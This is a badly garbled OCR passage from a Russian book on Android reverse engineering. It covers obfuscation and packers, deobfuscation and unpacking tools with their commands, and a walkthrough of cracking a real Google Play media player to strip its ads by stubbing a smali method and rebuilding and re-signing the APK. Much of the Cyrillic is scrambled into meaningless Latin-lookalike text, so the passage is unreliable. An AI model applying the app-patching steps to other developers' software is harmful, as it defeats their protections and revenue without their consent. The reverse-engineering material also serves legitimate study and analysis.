C pednekcueli BMECTO MPSMOro BbI30Ba METOAOB OOBEKTa Bbl MOXKETE CTOJKHYThCA W
MpH Opyrux oOCTOATENbCTBAX, HE CBA3aHHBIX CO CKPbITHEM kiiaccoB. Pedniexcus Moxer
ObITh MCMONB30BaHa MPOCTO i 00dyckauuu (kak B cnydae ¢ obdyckatopom Allatory).
B 3TOM ciyuae BMecTO Takoro koja:

e . i o

StatusBarManager a = (StatusBarManager) context.getSystemService ("statusbar");
statusBarManager.expandNotificationsPanel () ;
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Bri YBHAHUTE HEYTO BPOAE 3TOr0:

Object a = context.getSystemService ("statusbar");
Class. forName ("android.app.StatusBarManager") ;
Method c = b.getMethod ("expandNotificationsPanel");
c.invoke(a);

A ecnn HCIIOJIB3YETCA lllHCprBaHHC — J3TO:

Object a = context.getSystemService(z.z("c3RhdHVzYmFyCg=="));

Class<?> b = Class.forName (z.z ("YW5kcmSpZC5hcHAUU3RhdHVZQmFyTWFuYWdlcgo=")) ;
Method c = b.getMethod(z.z (ZXhwYWS5kTmS0aWZpY2F0aWSuc1BhbmVsCg==) ) ;
c.invoke(a);

B naHHOM cjiydya€ s 3aKOOAHpOBaJl CTPOKH B Base64, MO3TOMY HX JIETKO «paCKOOHPOBATH»
06pa'rH0 C NMOMOLIIBIO cne,uy!omeii KOMaH/bI:

$ echo crpoka | base64 -d

Ho B peanbHOM MpHIIOXKEHHH BaM, CKOpee BCEro, MpHAETCA paciHdpoBaTh BCE ITH CTPO-
KM C MOMOLIBIO OMHCAHHOTrO BhIlE Crocoba MPOCTO MU TOro, YTOOBI MOHATH, KaKHe
00BEKTbI M METOIbI BHI3BIBAET MPHIOXKEHHE BO BpeMs CBOeii paGoThl.

AHANIN3 UCNO/Ib30BAHHA OBE®YCKAUMNM B NPANOXEHHNAX

A Large Scale Investigation of Obfuscation Use in Google Play (https://arxiv.org/pdf/
1801.02742.pdf) — nuccnegoBaHume Ha TeMmy ucnonb3oBaHus obgyckaTtopos paspaboruu-
kamu npunoxexun ans Android. Mo coctosHuio Ha sHBapb 2018 ropa Tonbko 24.9% npu-
NOXEHUW U3 NpoaHann3nMpoBaHHbIX 1,7 MunnuoHa 6binu 3awmweHs o6gdyckatopamu. U ato
nnoxas cutyauus, T.K. B mupe Android npouseTtaer TO, YTO Ha3biBAaETCA NEepenakoBKOW
nNpuNoXeHnn (Ha MaHep onucaHHoun paHee nepenkosku WhatsApp). MpocTbie ungpbi:

e 86% TposHoB Ans Android — 3TO nepenakoBaHHbie Bepcun 0ObIYHbIX NPUNOXEHUN;

e 13% npunoxeHWn B CTOPOHHWUX MapKeTax — nepenakoBaHHble BEpCUM NPUNOXEHWUN
Apyrux pa3paboTunkoB (3a4acTyio C BKNIOYEHUEM peKnamb!).

Apyrve pe3ynbTaTthl MCCNEeAOBaHUA:
o 64.51% npunoxeHuin BKNIOYAIOT koA, 00(ycuMpoBaHHbIM C nomowbio ProGuard (He
o06s3aTenbHO KOA CamMOro NPUIIOXEHUA, BO3MOXHO, koA 6ubnuotex);

e 0.16% ucnonb3yloT NPOABUHYTBHIE TeXHUKM 0Odyckauum, Takme Kak UCNOoNb3oBaHWe 3a-
pesepBupoBaHHbix B Windows knioueBbix cnoB (Tak aenaioT DexGuard u HekoTopbie
KOH(purypauum Allatory);

e 0.05% npunoxeHui 06cycumpoBaHbi ¢ nomowbio DexGuard;
e 0.01% o06¢pycumpoBaHbl ¢ nomoLybio Bangle.
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Ynakoswmku

VnakoBIIMKH — 3TO ApYroi BHA 3aLUMThI, OCHOBaHHBI He Ha 3amyThIBAHWM KOAa, a Ha
€ro MOJHOM CKPbITHH OT Ija3 peBepc-HHeHepa. Pabotator oHuM Tak. OpUrHHaibHBIH
daiin classes.dex (comepkaluii KA NMPHIOXKEHHS) MEpEeMMEHOBBIBAeTCS, WHpyeTcs U
nepeMeluaercs B Apyroi karauor BHyTpH nakera APK (310 MoxeT ObITh KaTasor assets,
res WK Mob6o# Apyroi). MecTo OpUrHHaJIBHOTO classes.dex 3aHMMAeT PAacMaKOBILUMK,
3aj1aya KOTOPOro — 3arpy3uTh B MaMATh OPUTHHANIBHBIH classes.dex, pacliM(poBaTh ero
W Mepenarb eMy ynpaeieHue. JIns yclnoXKHeHHs )KH3HH peBepcepa OCHOBHas JIOTHKa pac-
NaKoBLUMKa peanu3yeTcs Ha s3bike CH, KOTOpBIH KOMIMWIMPYETCs B HaTHBHbIH koa ARM
¢ NpUMeHeHHeM cpelacTB obdyckauuu 1 3amuTel ot omiaaku (gdb, ptrace).

Xopouui ynakoBIUMK cO3aeT OYeHb Gosblide npobyieMbl A aHalM3a KoJa NMpHUIIoxKe-
HMA. B psane ciyyaeB eaAMHCTBEHHBIH AeHCTBEHHbIH BapHaHT 60pbObI ¢ HUMH — 3TO CHS-
THE Jamra MaMsTH Npolecca M M3BJIEYEHHWE M3 Hero yxe pacuudpoBaHHOro koaa
classes.dex. Ho ecTb M XOpolIHe HOBOCTH: yNaKOBLIMK HAKJIabIBAET CEPhE3HbIE OrpaHH-
YeHHs Ha (YHKUHOHAIBHOCTb MPHIOKEHHS, NMPUBOAHUT K HECOBMECTHMOCTSM M YBEJIH-
YeHHOMY pacxoay namsaTtd. Tak yto pa3paboTUMKH JErMTUMHBIX MPUJIOXKEHUH HCTOJb-
3yI0T YNaKOBIUKKH PEAKO, 3aTO UX OYEHb JIOOAT cO3/1aTes M pa3HOro poJa TPOSHOB.

B psne cnyuaeB BbluMCIUTh Hanuuue ynakoBiuuka B APK cosceM HeTpynHo. JlocTarou-
HO B3MJISHYTh Ha COZEPXHMMOE Karajora lib/armeabi. Ecniu Bbl HaHaere B HeM daiin
libapkprotect2.so — 3Ha4YMT, MpuMeHeH ynakoBuiMk ApkProtect, dain libsecexe.so —
Bangle, 1ibexecmain.so — ljiami. Bce 3Tu daiinbl — pacnakoBLIMKH.

OtaensHOro YNOMHHAHMS 3aC)Ty>KMBAeT CO3aHHbIM OIHOM KWTalcKOH KOMNaHWeH yna-
koBuHKK Qihoo. DEX-¢aiin 3anakoBaHHOro UM MPHUIOXKEHHS BECUT OOJIbLIE YEThIpEX Me-
rabaiT, oHAaKO BCe, YTO OH JeJiaeT, — 3TO MepeaaeT yrnpasjieHHe HaTHBHOH 6ubHoTeKe.
OcranbHylo 4acTh (akina 3aHUMaeT NOMHUCAHHBIH B ero KoHel 3awudpoBaHHBIA ¢par-
MEHT.

3arpy>xeHHas HaTHBHas OMOJIMOTEKa BBIMOJHAET HECKOJNBLKO MPOBEPOK, He paboTaeTr Jiu
OHa MMoJ OTJIAAYMKOM, a 3aTeM paclin(POBBIBAET U 3aIPy’KaeT B MaMATh BTOpYIo OubIHo-
Teky. KpoMe nmpoBepok Ha MNpUCYTCTBHE OTJIaAuvka, OMONHOTEKa TakkKe HCMOJb3yeT
Jpyroi MeToJ 3allMThl — BUPTYaJIbHYIO MalLIHHY, KOTOopas HcrojiHseT 6aiiT-kon BMecTo
HaTHBHOro koga ARM.

Bropas HatuBHas 6ubnuoreka — 3710 3arpy3unk DEX-¢aiinos. OH u3BnekaeT U3 KoHLA
opuruHansHoro DEX-daiina 3ammndpoBanHblii pparMeHT, paciuigpoBbIBaeT ero, Noaro-
TaBJIMBAET paHTaM JUIS UCTIOJIHEHHUS, @ 3aTEM TepeaaeT eMy yrpaBJieHHeE.

Heobgyckatopbr

Kak BuauTe, HHCTpyMEHTOB 0OMaHyTh HMccleloBaTeNs M OTOUTDH JkeJJaHHE PacKOBBIPH-
BaTh NPHJIOXKEHHE y pa3pabOTUHKOB MPENOCTAaTOYHO, MO3TOMY M peBepc-HHXEHEp A0JI-
*eH ObITh BoopykeH. B nepByro ouepenb HykeH XopourMd aekoMnuiastop. Panee Mbl
Ucnosib30Baiu OecnnarHbli jadx, HEMIOXo cnpaBasIOLMICS ¢ 3TOMH 3anaqed. Kpome noc-
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TOHHOI paboTbl, OH UMEET BCTPOEHHbIH AeobdyckaTop, TpaHCHOPMHUPYIOLIMI UAEHTH-
dukaTopsl BUaa «an», «az» «l1111111...» unu cocrosume w3 cumponor Unicode B uncno-
OyKBEHHbIE MAEHTU(KATOPDI, YHHKabHbIE 15 BCETO MPUIOXKEHHA. DTO MO3BOJIAET HH-
KOrja He CnyTaTb METOA a() Kjiacca a C METOAOM a() Kjacca b M JIEFKO HAXOAMTb HYX-
Hbl€ HAEHTH(HUKATOPBI C MOMOLLBIO M00aTbHOrO MOUCKA.

Takxe BaM noHanoOMTCA HHCTPYMEHT Ans Aamna uHdopMauuu o nakere. He Tako# uH-
dopMauMH, Kak ero coaepkumoe M aarta cOopkd, a MHPOpMaUHUK 00 MCMONb3yeMbIX
B MakeTe cpeacTBax o0dyckauuu v 3awuThl. B nepByto ouepeab cToUT 0OpaTHTL BHUMa-
Hue Ha APKiD (https://github.com/rednaga/APKiD).

VYka3aHHbI# HHCTPYMEHT JO/DKEH MoKa3aTb, OblLT M MPUMEHEH TOT MW MHOM 00¢dycka-
TOp WJIM YNMaKOBLUMK B OTHOLIEHHH MPHUIOKEHHS, HO YacTO HE MOKa3bIBaeT HUYEro. JTo
BMOJIHE 3aKOHOMEPHO, 00(yCKaTOPbl IBOMIOLMOHUPYIOT, MEHAS JIOTHKY CBOEH paboTbl,
npueMbl 00¢ycKkaLHHU U CKPBITHA OT MOJIOOHBIX HHCTPYMEHTOB.

[To aTo# e npuuMHe HepeaKko OkasbliBalOTCs OeccHnbHbI U Ae00dycKkaTopbl, TakHe Kak
Java Deobfuscator (https:/javadeobfuscator.com), Simplify (https://github.com/
CalebFenton/simplify) u Dex-Oracle (https://github.com/CalebFenton/dex-oracle).
Ho 3T0 coBceM He 3Ha4MT, 4TO MX He CTOMT MpUMeHATb. Java Deobfuscator paboraer uc-
KJIIOYHUTENbHO ¢ 6aiT-k010M Java, Mo3ToMy nepea TeM kak ero ucrosnb3oBatb, APK cre-
ayeT neperHats B jar ¢ noMouibto dex2jar (https://github.com/pxb1988/dex2jar).

[anee cnenyert HaTpaBUThL Ha MoJyuyeHHbIH jar-daiin Java Deobfuscator ¢ ykazaHuem uc-
nosb3yemMoro «TpaHcdopmepan:
$ java -jar deobfuscator.jar -input [lpuyioxeHue.jar -output

Mpunoxenne _nocie neobdyckaummn.jar -transformer allatori.StringEncryptionTransformer
- path ~/Android/Sdk/platforms/android-33/android.jar

JlaHHas KkoMaHAa TNPUMEHUT K 3TOMY MPUIOXKEHHK TpaHchopMep allatori.
StringEncryptionTransformer, paCUJH(bPOBblBalOluHﬁ CTPOKH, 3aLUH¢)pOBaHHble C TMOMO-
w0 Allatory, W 3anuuieT pe3ynbTaT B llpuioxenne nocse_neobbyckawm. jar. [locne satoro
MPUIIOKEHHE MOXKHO JAEKOMMHUIMPOBaThb, HO He ¢ nomoulblo jadx (oH paboTaeT TONbkO
¢ 6aiiT-konom Android Dalvik), a, Hanpumep, ¢ momouibto jd-gui (http:/jd.benow.ca).

Java Deobfuscator noaaepxuaer Gonee aecsatka TpaHcHopMepoB, MO3BOMSAIOLIMX pac-
WH(pOBbIBATE CTPOKH, 3allMGpoOBaHHbIE APYrMMH 00dyckaTopaMH, KOHBEPTHPOBATb
BbI3OBbI C MOMOLLbIO pediekCHH B OObIYHbIE, YAaniTb MepTBblid koa W T. A. [Toatomy
CTOMT MO3KCNEPUMEHTHPOBATb.

Ecnu e Java Deobfuscator He nan pe3ynbraToB, cToMT nonpobosars Simplify. D10 Tak
Ha3bIBaeMblii AuHamMHyeckui aeobdyckatop. OH He aHanu3upyer OaiT-koa, MbiTasch
HalTH B HeM creabl paboTbl 00¢yckaTOpoB U OTMEHHUTb BHECEHHBIE HMH M3MEHEHHS, KaK
310 Aenaet Java Deobfuscator. BMmecTo 3TOro oH 3anyckaer ausacceMOIMpoBaHHbIA KO
smali BHyTpH BUPTYalbHOM MalUHHBI, MO3BOJIAS MPHIIOKEHHIO CAMOCTOATENIBHO pacling-
poBaTb CTPOKH, 3aTeM yJanseT MepTBbIi HercnonblyeMblid koa M pednekcuto. Ha Bbixo-
ae Bbl nonyuute dex-daiin, KOTOpbIii MOXHO 1€KOMIHUIIMPOBATh C MOMOLLBIO jadXx.

Hcnonwzosars Simplify noBonsHO npocto (puc. 8.1):

$ java -jar simplify.jar -1 xaranor c dainamm smali -o classes.dex
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sav.esi = kut.gec(hut.ufo()): | o/ smv.es{ = “android.provider.Telephony.546_RECEIVED";
sav.chp = xut.qe~(kut.?q3()); | vil sav.cbp = "http:\\/\\/([a-2A-28-9\\.\\/]J+)\\?keyn[a-2A-208-9]¢";
© SAV.uD = Xut.ger(kut.vex()); vmh smv.uvp = “[\\W\\d]";
sav.ut] = wut.qes(hut.rve()); ! o sev.aty = " \\d{1,2}(?1\\d\\s\\us448]\\s\\u8e40)"; i
sEv.phy = ket.ges(kut.owk()): | smv.phy = “\\d{4,6}"; ;
sev.tie = Arrays.astistirew String|l{sw.qer(°SS6te3ds™), sav.qer("7381| x | sav.tie = Arrays.astist(new String[]{"556Fe3ba”, “7381c751", “cseal|
Sur.Gue( ‘49728613%), smv.qer("56817115°), sav.yer]"eb733ee3” )a| y | “ebYS5ead”, "83c133b3", “3135£993", "162ffag9", “48¢93972"
v sws.cor(°3135F093"), sav.qer("1614£200%), suv.qe~{"48c93022%), z smv.oly = Arrlys asust(nm string[ ){"beg9gzcernitaniraselllfh”, *
vil | suv.cer{"23563a27), sBv.qet{"Sadds3dbt"})); »ggnenu Q' gydhilciez™, “9f 1rnedq8bik22nayp™,
ol [ V. uby = Arrays, estisi(rew Mring[}{nuqur('btg"zumlunlr“elnﬂ“ 1 ol - 2871 $4”, ....u,-uucunusjbqhmq »
| sav.cor(°134bvahxuditbIegydnilcioz®), unv.qer("Ofusesbynlrnmdy hisaiauncig “efc89712k1dsacx16dpgus2r™, 'ulruuﬁnqyp&hleushljd'
L “eSdndadiatlz~9a1hnthc25ia"], SHv.qec( Svim2:ichzz8ra87ivungvsnd »inagepre “btfebwalhnTtrsxprihpsdnft®, “7j264rq :
* 7. Ger("310339q11tcasvemsyaksy3ia®), sev.ger(“efco9752hldsucxl ppurchase " luver7x4rqBclOkStxawkolin®});
I "841ruwbrgypktuziBseélasid®], sav.qor(” ’HJ“IBI'"’M‘M"Y' psettings suv.lej = Arrays.asiist(new String{){"vtx1laldzwh994p3z91inlnwe", °
__Say.cen("TizEirqubmayy ), swv.qer(TGresm ksl H%md&m L s@v.owa = Arrays.astist(mew String{]{"73géyqripsiriqtapSdzioesb”, I

Puc. 8.1. Koa ao (cneea) u nocne npumenenus Simplify (cnpasa)

00 ni9HHEe0 dNNIAG QO Fe09X0 Bowaednpod| |

LLL
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Ho kak ObITh ¢ ynakoBuinkaMu? Jlns 60pbObl ¢ HekOoTOpbIMH M3 HUX nopokaeT Kisskiss
(https://github.com/strazzere/android-unpacker/tree/master/native-unpacker). [lns
ero paboTbl Hy>xeH cMapTdOH ¢ MpaBaMH root H aKTHBHPOBAHHBIM PEXXHMOM OTJadKH
(ADB) B pexxume root (B CyanogenMod MoxHO BKJIOUYHTE B «PexxuMe ans paspabotuu-
koB»). Takxe Ha [1K noHamoOuTCs koMaHAaa adb:

$ sudo apt-get install android-tools-adb
$ sudo adb devices

Hanee Kisskiss He0OX0AHMO ycTaHOBHTb Ha cMapTdOH:

$ wget https://github.com/strazzere/android-unpacker/archive/master.zip
$ unzip master.zip

cd android-unpacker-master/native-unpacker

sudo apt-get install build-essential

make

v »n v n

make install

3anycTHTb HY>KHOE MPHUIIOKEHHE Ha CMapTOHE H BbIMOJIHHTE KOMaHy (Ha KOMMbOTepe):

$ adb shell /data/local/tmp/kisskiss umsa.nakeTa.npuiioxeHUs

[Mocne atoro Kisskiss cienaer naaMn namsTH npotecca 1 3anuuiet ero B odex-daiin. Ero
MOXCHO CKOHBEPTHPOBATh B dex ¢ MOMOLLbIO ke 3HakoMoro Ham baksmali:

$ adb pull /system/framework/arm/boot.oat /tmp/framework/boot.oat
$ baksmali -c boot.oat -d /tmp/framework -x taitn.odex

M nexoMnuaupoBath ¢ moMoLlbio jadx.

WmeliTe B BUAY, YTO HHCTPYMEHT CcTapblid H MOXET MoTpedoBaTh UCIMOL30BaHHS CTapoOi
Bepcuu Android (8-s unu 9-s BnosiHe nonoiiaeT) UK He 3apaboTaeT BOBCe.

He6onbwou npumep

Hy u B 3akimoueHue npuBeny HeOosblioH npuMep B3ioma 00¢dycLIHPOBAHHOIO MPHIIO-
)keHHs. B HeM He npuMeHsOTCS WHGPOBaHHE W YNMAKOBLUHKH, HO OHO MO3BOJISET MOHATD
JOrHKy paboTbl ¢ KOJOM, MO KOTOPOMY TPYAHO OPHEHTHPOBATHCH H3-3a H3MEHEHHBIX
uaeHTHdukaropoB. Ha 10T pa3 mbl Oynem paboTaTh ¢ He CaMbIM MOMYJSPHBIM, HO BCE
’Ke OYeHb KauyecTBeHHbIM MeauanpourpeiBatesnieM u3 Google Play. 3anaua — yOpatb W3
HEero pekjaamy.

Jlns Hayana yCTaHOBHM MpHIIOXKEHHE Ha CMapTdOH W BHUMATENIbHO MPOCIEaHM 3a TeM,
B KaKHX CllyyasX M Ha KakMX 3KpaHax nosasercs peksiama. HeTpyaHo 3aMeTHTb, 4TO
OHa ecTb TOJIbKO Ha 3kpaHe Bblbopa dakina. 3T1o BaxkHas HHdOpMaLMA, KOTOpas Ham
oyeHb npuroautcs. Tenepb nonpodyeM BKJIKOUHTL PEXHM MOJIETA, 3aBEPLUMTH MPHIIOKE-
HHE M BHOBb 3aMyCTHTb €ro. PeksiaMa nosHoCTbIO Hcye3aeT. 3TO TOXke BaXKHO, MPHIIoXKe-
HHE YMEET CaMOCTOATENbHO BKJIIOUATh W BBIKJIIOUYATH MOKAa3 PeK/iaMbl, a 3HAYHT, BCE, YTO
Ham TpebyeTcs caenaTh, — 3TO MPOCTO HAWTH JaHHBIA koA W MO0 ynanuTh «BKJHOUa-
TeJb» pekJiambl, THO0 CaMOCTOSATENbHO BbI3BAaTh «BbIKJIHOUATEbY.

Tenepb ckaunBaem npunoxxerre Ha [1K ¢ nomousto APKPure, nomeulaem ero B karanor
~/tmp W MEepeUMEHOBbIBAEM B application.apk s ynobctBa paboTbl. OTKpbIBaeM nakeT
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B jadx-gui ¥ BUAHM MHOXecTBO katanoroB (Java-naketoB). HyxHblif Ham makeT HOCHT
MMsA camoro npuiaoxkeHus. OTKpbiBaeM ero. BHyTpH — MHOXECTBO K/1aCCOB ¢ HMEHaMHU
BHJA C0770p, C0763i MU T. 1., MIOYTH BCE NMEpEMEHHble U METOIbI JIOOOro Kiacca HOCAT
MUMEHa £2881, £2284 U T. A. (puc. 8.2).

A _§, Eilnc Activime
. *

Eile Yiew Navigation Help ]
8 B, o w ! |
jEiis o o x |
» @C0758d package 5
» @ C075%
» @ CO760f import java.io.File;
» @C0761g import java.util. Arraylist;
» @ C0762h import java.util.List;
» @ CO763i
» Q C0764j # renamed from
» @ CO765k public ciass C0778x {
> @ C07661 int f2881a;
» @ CO767m int f2882b;
» @ C0768n List<Long> f2883c;
» @ C07690 long f2884d;
» @ C0770p String f2885¢;
» @QC0771q String f2886f;
» @QCO772r String f2887g;
» @ CO773s String f2888h;
» @ C0774t String f2889i; |
b @ CO0775u long 2890);
» @ CO776v File 2891k; \
s f2881a public CO778x() {
« f2882b this.f2881a = 0;
o f2883c: this.f2882b = 0;
o f2884d this.f2883¢c = new Arraytist(); |
= f28BSe this.f2884d = -1;
s f2886f : this.f2885e = ** ‘
a f2887g this.f2886f = |
= f2888h this.f2887qg = |
s f2889i this.f2888h = %,
f2890j this.f2889i = *7;
s 2891k : this.f28%0j = 0;
§ C0778x{) this.f2891k = null;
» ® C0779y }
» @ C0780z }

Puc. 8.2. BHyTpeHHee yCTpOWCTBO MCCNEeayemoro NpUnoXeHuUs

He BHywaeT ontumuaMa, npasaa? CoBceM HEMOHATHO, € 4ero Ha4yatb. TouHee, 6610 Obl
HEMOHATHO, eciiK Obl Mbl He 3HAIIH, YTO pekjlamMa OTOOpaKaeTCA UCKIIIOUUTENBHO Ha 3K-
paHe Bbibopa ¢aiina. [I[poMaThiBaeM BHM3 U BUAMM HYXKHBI HaM KJ1acC — FilesActivity.

Ho nouemy oH He 00¢ycuupoBan? Ilo mnpoctoili npuuMHe, 3KpaH NPHIIOKEHHS
B Android — 3To Tak Ha3biBaeMas aKTHMBHOCTb (activity), a Bce aKTMBHOCTH IOJDKHBI
6bITb SIBHO Mepe4yuclieHbl B MaHH(ecTe MPHIOKEHHA — AndroidManifest.xml. Eciau 6bl
o6¢yckaTop H3MeHHN1 MMA Klacca-akTUBHOCTH, Android npocTo He cMor 6bl ero HaWTH
M NPHIIOXKEHHE BBIBATUIIOCH Obl C OLIMOKOIA.

OTKpbIBaeM FilesActivity M Cpa3y CMOTPHM, paboTaeT JIM OH C MPOBaiIEPOM peKiaMbl
Hanpamyio (WM ke AelaeT 3TO uepe3 APYro Ki1acc WM ¢ MOMOLUbIO peduiekcun). ns
3TOrO B3IJIAHEM HAa JUPEKTHBbI import:

java

import com.google.android.gms.ads.AdRequest.Builder;
import com.google.android.gms.ads.AdSize;

import com.google.android.gms.ads.AdView;

import com.google.android.gms.ads.search.SearchAdRequest;
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a, knacc SBHO BBbI3bIBAET METOMABI MAaKeTa com.google.android.gms.ads (CTaHOAPTHBIH
ryTJIOBCKMH NpoBaiinep peknaMsl), HHaye 3ayeM Obl eMy ero uMnoprtiposath? Ocranoch
HalTH MECTO, II€ OH 3TO JI€NIaeT, U MPOCTO U3MEHHUTb WIIM YAAIHUTb KOJ TaK, YTOOBI peK-
naMbl He ObL10 BUAHO. Brinbke K KOHLY KOJa Mbl BUIHM 3TO:

private void m4989q() {
this.f2493K = new AdView(this);
this.f2493K.setAdUnitId ("ca-app-pub-1006786053546700/8070576705") ;
this.f£2493K.setAdSize (AdSize.SMART BANNER) ;
this.f2493K.setVisibility(8);
this.f2493K.setAdListener (new C07661 (this));
((LinearLayout) findViewById(2131689639)) .addView(this.f2493K);
this.f2493K.loadAd (new Builder () .build());

HecmoTps Ha npuMeHeHHe 00dyckauuy, Ko BIOJIHE MOHATHBIA, MBI BUIHM OJHO3HAuY-
Hble UMEHA KJ1acCoB (AdView, AdSize, LinearLyout) U METOHOB (setAdUnitId, findViewById
u 1p.). Kon coznaer HoBbIi rpaduueckuil aneMeHT (View) ¢ pekjiaMoii, HaCTpauBaeT ero
BH[I, a 3aTEM 3arpy>kaeT B HEro pekjiaMHoe oObsBiIeHHe. Bornpoc Tonbko B TOM, MoyeMy
MbI 3T0 BUAMM. OOdyckaTop HaCTONBKO MJIOX W HE CrpaBiseTcs co cBoeH paboToi?

Ha camom nene Bce HAMHOTO rnpouie. an'-lHHbl JBE:

1. O6dyckaTop paboTaeT UCKJIFOUMTENBHO C KOJIOM CaMOTrO MPHUJIOXKEHHS U MO3TOMY He
cnocobeH 3anyTaTh koj kiaccoB camoro Android. B naHHOM cnyyae Mbl BUOUM KOZ
BbI30Ba cTaHAapTHbIX MeToaoB API Android: findviewById M addview.

2. 3ayacTylo MpOrpaMMHCTBI OTKIIOYAOT 00¢dyckaTop 11 BHELIHUX OGHOHOTEK MM He-
KOTOpBIX ()parMeHTOB KoJa H3-3a BO3MOXKHBIX KOH(IHKTOB (06dyckaTop, HanpuMep,
KOHNHUKTYeT ¢ MexaHu3MoM pedrekcun). OueBHAHO, KOA pekJiaMHO#M OuOnHoTeku
npocto He ObL1 npomnyuieH yepe3 odbdyckarop.

Brnaronaps 3TMM OBYM npH4HMHaM JIOrMKy paboTsl 06¢ycLHpOBaHHOrO KoAa JIErko Mnpo-
CJIEIUTh 110 BbI30BaM BHeWHUX APL. B 1aHHOM cily4yae Mbl HE 3Ha€EM MMs 3arpysKatoLIero
peknaMy Merona (md989g) M UMs oObekTa, XpaHswero View (£2394K), HO BUIHM BCE €ro
MeToabl U obOpalieHHs kK cucTeMHbIM API (TOT ke findViewById), YTO MO3BOJISET CAENATh
BBIBOJI O TOM, 4TO 3TOT KOJI I€JIa€T Ha CaMOM JIeJ€.

A Ternepb 0 TOM, Kak BCE 3T0 OTKIOYHTb. CaMblii MPOCcTOH BapHaHT — MPOCTO YIaaHTh
BEChb KOJ METOJa, HO 3TO MOXXET MPHUBECTH K OIMOKaM B JpYrHX yyacTkax Kojia, KOTo-
pble, BO3MOXHO, oOpalarorcs Kk oObeKkTy £2493K. BMecTo 3TOro Mbl mokaem HEMHOro
apyruM nyteM. OOpaTtuTe BHUMaHMe Ha NATYIO CTPOKy kona. OHa BBI3BIBAET METO.
setVisibility oObeKTa £2493K, KOTOPBIH, B CBOK OuY€pelb, XPAHHUT View peKsaMHOro 6Jo-
ka. Meron setvisibility MO3BOJSET HAacCTpaWBaTh OTOOpaKEHHE View, YKa3aB OJHO M3
BO3MOXHBIX COCTOSHMH C momMouibio yucna. Ecnu Mbl B3rnsiHem Ha cnipaBky Android
(https://developer.android.com/reference/android/view/View.html#GONE), To y3Ha-
eM, uto 3HaueHHe 8 o3HauaeT GONE, T. e. View 1OMkeH ObITh MOMHOCTBIO YOpaH ¢ 3KpaHa.
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Jlpyrumu ciioBaMH, AaHHbIH KO (GOPMHUPYET View C peksiaMHbIM GJ10KOM, a 3aTeM caM ke
ero youpaert c skpaHa. Ho 3aueM? 3arem, 4To HET cMbIcIa MoKa3bIBaTh peKIaMHbIH 010K,
€CJIH OH elle He 3arpy>keH (MOMHHTE MCUYE3HOBEHHE pekyiambl B pexkume noseta?). Ho
KaKk MpUJIOXKEHHE Y3HaeT, uTo pekjama 3arpy3unacs? CorysiacHo OOKyMeHTalHH
(https://developers.google.com/android/reference/com/google/android/gms/ads/AdLi
stener) c MOMOLLBIO AdListener: pa3pabOTHHK CO3JA€T KJacc-HACAEAHHK AdListener, CO3-
JaeT peKJIaMHBbIH View, BbI3bIBAET €0 METO setAdListener, B Ka4eCTBE apryMeHTa rnepe-
JaBasg eMy OOBEKT Kjacca-HaclelHWKa AdListener, W BbI3bIBa€T loadAd AJs 3arpy3ku
pexnambl. Korga pexsnama 3arpy3utcs, Oyaer BbI3BaH MeTOI onAdLoaded() kJacca-
HacjeIHuKa AdListener. A Ternepb CMOTPHUM Ha CTPOKY:

this.f2493K.setAdListener (new C07661 (this));

C07661 He MOXET ObITb HHYEM HHBIM, KpOME KJlacca-HaciaeJHHKa AdListener. OTKpbIBaeM
ero B jadx ¥ BUIUM:
public void onAdLoaded () {
this.f2868a.f2493K.setVisibility(0);
}

bunro! Bcero oana CTpOKa KoOJa, KOTopas O€JacT peKJ’laMHblﬁ View BUOAHUMbBIM (3Halle-
HHE O). Ecnun Mbl ee yaajiuM, View OCTAHETCA HEBHAHUM Ha BCE BpEMs paGOTbI MpHJI0o-
2KCHHHA.

Ho BoT He3amaua: B qu3acceMOaupoBaHHOM ¢ nomouibto apktool koge smali Het kiiacca
co7661. Takoi HaeHTH(UKATOP Mbl BUINUM TOJBLKO B jadx, MOTOMY YTO OH NMEpeHMMEHOBa
knacc. Ho 3aTo oH ocTaBu [1st HAC KOMMEHTapUH KacaTeJIbHO HacTOsILEero HMeHH kJiac-
ca (puc. 8.3).

OTKpblBaeM KJ1acc, yKa3aHHblﬁ B KOMMEHTApHH «Renamed from», H BHIAHUM CJ'ICHleLLlHﬁ
KOA:

e e ol ek e

.method public onAdLoaded()V
.locals 2

.prologue
.line 927

iget-object v0, p0, Lcom/player/free/l;->a:Lcom/player/free/FilesActivity;

invoke-static {v0}, Lcom/player/free/FilesActivity;->p(Lcom/player/
free/FilesActivity;)Lcom/google/android/gms/ads/AdView;

move-result-object v0
const/4 v1, 0x0

invoke-virtual {v0, vl}, Lcom/google/android/gms/ads/AdView;->setVisibility(I)V
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.line 928
return-void
.end method

3TO M €CTh CTPOKA this.f2868a.£2493K.setVisibility(0) ;. YToOBI yOpaTh ee, HeoOxoqMMO
YAQIHTh MOYTH BECh METOJI, OCTaBHB TOJIBKO YEThIpe CTPOKH:

.method public onAdLoaded()V
.locals 0
return-void

.end method

Ocraetcs Tonbko cobpaTh apk H YCTAaHOBHTb Ha JI€Ba¥ic:

$ cd ~/tmp

$ apktool b application

$ mv application/dist/application.apk application-noads.apk
$ sign application-noads.s.apk

File Yiew Navigation Help
Lalsdisalcai@lLl
=

» ® p022a.p023a = v T I
» © C0720w . Q ikt C0766] X

> ® C0751a Lpackage com.dp.ezfolderplayer.free;

» @ CO755b
» @ CO757¢
» @ C0758d
» @ C0759%e V* renamed from:
b @ C0760f iciass C0766| extends AdListener {

» @C0761g final /* synthetic */ FllesActivity f2868a;
» @ C0762h
» @ CO763i 923 C0766I(FllesActivity filesActivity) {
> Q C0764j 924 this.f2868a = filesActivity;

b @ CO765k }

» € CO7861

» @QC0767m 926 | public void onAdLoaded() {

» @ C0768n 927 this.f2868a.f2493K.setVisibility(0);
» @ C076%0 }

» @ C0770p }

» @ C0771q !

» @ C0772r I

» @C0773s

» @C0774t

» @ CO0775u

» @CO776v

» @ C0778x

» © C0779y

» @ C0780z

b © FilesActivity :
© FolderSelectorActivity !
© MediaAppWidgetProvider |
© MedlaAppWidgetProviderdx |
© MedIaButtonintentRecelver
© MusicSetvice
(c]
[c]
(c]

import com.google.android.gms.ads.AdListener;

7

MyApplication
MySuggestionProvider :
PlayerActivity s
"_:Mﬁ

4 :

b
b
b
b
b
b
b
b

Puc. 8.3. Nogckaaka c nmeHem knacca
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B3nom ¢ nomouwpto otnagumka

Hrak, Mbl Hayunnuch pa3buparh MPUIIOXKEHHE MPAKTHUECKH TOJILIMH pyKaMH, HMes Ha
BOOPY>XEHHH TOJIbKO JEKOMITHJIATOp M JIu3accembiiep. 3TO Tak Ha3blBaeMblii cTaTHYe-
